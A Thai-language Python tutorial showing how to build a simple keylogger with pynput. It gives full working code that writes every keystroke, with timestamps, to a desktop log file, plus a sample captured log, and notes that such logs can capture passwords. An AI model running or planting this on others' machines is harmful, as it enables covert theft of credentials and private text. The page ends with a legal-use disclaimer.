Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Python

ออกแบบ Keylogger ใน Python

ที่นี่เราจะพัฒนา keylogger โดยใช้ Python แต่ก่อนอื่น keylogger คืออะไร? Keylogger คือโปรแกรมที่เราติดตามการกดแป้นพิมพ์ การกดแป้นเหล่านี้จะถูกจัดเก็บในไฟล์ log เราสามารถบันทึกข้อมูลละเอียดอ่อน เช่น ชื่อผู้ใช้และรหัสผ่าน ได้โดยใช้การกดแป้นนี้

เพื่อสร้าง keylogger เราจะใช้โมดูล pynput เนื่องจากไม่ใช่ไลบรารีมาตรฐานของ Python เราอาจต้องติดตั้งมัน

การติดตั้งโมดูล pyxhook:

ฉันจะใช้ pip ติดตั้ง pynput:

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

เพื่อตรวจสอบว่าการติดตั้งสำเร็จ ลองนำเข้าโมดูลใน Python shell ของคุณ:

>> import pynput
>>>

เริ่มสร้าง Keylogger

เมื่อไลบรารีที่จำเป็นติดตั้งแล้ว ให้นำเข้าแพ็กเกจและเมธอดที่จำเป็น เพื่อติดตามคีย์บอร์ด เราจะใช้เมธอด key และ listener ของโมดูล pynput.keyboard เราจะใช้โมดูล logging เพื่อบันทึกการกดแป้นในไฟล์

from pynput.keyboard import Key, Listener
import logging

ต่อไป เราจะตั้งค่าเส้นทางที่เราจะจัดเก็บไฟล์ log ของเรา โหมดที่ log จะถูกจัดเก็บ และรูปแบบ

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

จากนั้นเราเรียกฟังก์ชัน on_press() ซึ่งสร้างนิยามสำหรับการกดแป้นและรับ key เป็นพารามิเตอร์

def on_press(key):
    logging.info(str(key))

สิ่งสุดท้ายที่เราจะทำคือตั้งค่าอินสแตนซ์ของ Listener และกำหนดเมธอด on_press ในมัน แล้ว join อินสแตนซ์ไปยังเธรดหลัก

with Listener(on_press=on_press) as listener:
    listener.join()

เมื่อรวมขั้นตอนที่กล่าวมาข้างต้น เราอยู่ในขั้นตอนที่พร้อมสร้างโปรแกรมสุดท้าย:

from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

ขณะที่สคริปต์ของฉันกำลังรัน ฉันพยายามเปิดเบราว์เซอร์และพิมพ์ "hello world, Wikipedia" มาดูสิว่าสิ่งที่เกิดขึ้นกับไฟล์ log ของเรา:

ฉันเห็น ไฟล์ "keyLog.txt" ถูกสร้างบนเดสก์ท็อปคอมพิวเตอร์ของฉัน และหากฉันลองดูเนื้อหา จะได้:

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

ดังนั้นเราเห็นว่าทุกสิ่งที่ฉันพยายามพิมพ์ในเบราว์เซอร์ ทุกการกดแป้นถูกจัดเก็บในไฟล์นี้ ดังนั้น เราได้ทำ keylogger ที่เรียบง่ายมากใน Python ที่นี่

หมายเหตุ: การสร้างและใช้ keylogger อาจละเมิดกฎหมายและจริยธรรมในบางบริบท โปรดใช้เพื่อการศึกษาหรือวัตถุประสงค์ที่ชอบด้วยกฎหมายเท่านั้น